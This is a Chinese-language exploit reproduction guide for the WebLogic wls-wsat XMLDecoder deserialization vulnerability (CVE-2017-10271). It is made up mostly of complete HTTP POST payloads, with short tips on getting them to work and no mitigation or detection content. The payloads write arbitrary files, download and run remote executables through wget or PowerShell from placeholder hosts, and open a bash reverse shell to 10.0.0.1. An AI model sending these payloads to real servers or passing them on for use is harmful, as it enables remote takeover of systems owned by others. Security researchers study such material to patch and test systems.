weblogic漏洞系列- 'wls-wsat' XMLDecoder 反序列化漏洞（CVE-2017-10271）

漏洞编号：

CVE-2017-10271

影响范围：

Oracle WebLogic Server 10.3.6.0.0版本

Oracle WebLogic Server 12.1.3.0.0版本

Oracle WebLogic Server 12.2.1.1.0版本

漏洞详情：

Weblogic的WLS Security组件对外提供webservice服务，其中使用了XMLDecoder来解析用户传入的XML数据，在解析的过程中出现反序列化漏洞，导致可执行任意命令。

漏洞原理：

https://www.anquanke.com/post/id/92003

漏洞复现环境：

WebLogic Servcer :10.3.6.0

漏洞复现：

1、利用java.io.PrintWriter类进行文件创建，并写入数据。

POST /wls-wsat/CoordinatorPortType HTTP/1.1

Host: 8.8.8.8:7001

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9,en;q=0.8

Connection: close

Content-Type: text/xml

Content-Length: 605

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">

    <soapenv:Header>

    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">

    <java><java version="1.4.0" class="java.beans.XMLDecoder">

    <object class="java.io.PrintWriter">  <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.txt</string>

    <void method="println">

    <string>Hello,this is a test!</string>

    </void>

    <void method="close"/>

    </object></java></java>

    </work:WorkContext>

    </soapenv:Header>

    <soapenv:Body/>

</soapenv:Envelope>

![/upload-images.jianshu.io/upload_images/2306050-92dac393814a7225.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)

以上Poc是向服务器的servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.txt写文件。文件名称为test.txt。文件内容为“Hello,this is a test!”，成功发送请求之后服务器会返回 500 status code。需要注意的地方是头部必须加上Content-Type: text/xml请求会出错。

发送请求之后访问http://ip/bea_wls_internal/test.txt,查看文件是否写入成功

image.png

2、执行系统命令

利用java.lang.ProcessBuilder类进行本地命令调用,通过执行本地命令，下载可执行文件执行或者反弹shell。

2.1 通过执行wget、curl命令或者powershell，下载可执行文件并执行。、

Linux代码如下：

POST /wls-wsat/CoordinatorPortType HTTP/1.1

Host: 8.8.8.8:7001

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9,en;q=0.8

Connection: close

Content-Type: text/xml

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">

    <soapenv:Header>

        <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">

            <java version="1.4.0" class="java.beans.XMLDecoder">

                <void class="java.lang.ProcessBuilder">

                    <array class="java.lang.String" length="3">

                        <void index="0">

                            <string>/bin/bash</string>

                        </void>

                        <void index="1">

                            <string>-c</string>

                        </void>

                        <void index="2">

                            <string>wget http://xxxx.com/xxx | /bin/bash xxx</string>

                        </void>

                    </array>

                <void method="start"/></void>

            </java>

        </work:WorkContext>

    </soapenv:Header>

    <soapenv:Body/>

</soapenv:Envelope>

Windows代码如下：

POST /wls-wsat/CoordinatorPortType HTTP/1.1

Host: 8.8.8.8:7001

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9,en;q=0.8

Connection: close

Content-Type: text/xml

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">

    <soapenv:Header>

        <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">

            <java version="1.4.0" class="java.beans.XMLDecoder">

                <void class="java.lang.ProcessBuilder">

                <array class="java.lang.String" length="3">

                        <void index="0">

                            <string>powershell</string>

                        </void>

                        <void index="1">

                            <string>-Command</string>

                        </void>

                        <void index="2">

                            <string>（New-Object System.Net.WebClient）.DownloadFile('http://***.com/***.exe','***.exe');(New-Object -com Shell.Application).ShellExecute('***.exe');</string>

                         </void>

                    </array>

                <void method="start"/></void>

            </java>

        </work:WorkContext>

    </soapenv:Header>

    <soapenv:Body/>

</soapenv:Envelope>

需要注意地方：<array class="java.lang.String" length="3”> 当中length的长度要与<void>的个数对应，且void的index是从0开始的

2.2、反弹shell

POST /wls-wsat/CoordinatorPortType HTTP/1.1

Host: 8.8.8.8:7001

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9,en;q=0.8

Connection: close

Content-Type: text/xml

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">

    <soapenv:Header>

        <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">

            <java version="1.4.0" class="java.beans.XMLDecoder">

                <void class="java.lang.ProcessBuilder">

                    <array class="java.lang.String" length="3">

                        <void index="0">

                            <string>/bin/bash</string>

                        </void>

                        <void index="1">

                            <string>-c</string>

                        </void>

                        <void index="2">

                            <string>bash -i &gt;&amp; /dev/tcp/10.0.0.1/21 0&gt;&amp;1</string>

                        </void>

                    </array>

                <void method="start"/></void>

            </java>

        </work:WorkContext>

    </soapenv:Header>

    <soapenv:Body/>

</soapenv:Envelope>

注意：反弹shell的语句，需要进行编码，，否则解析XML的时候将出现格式错误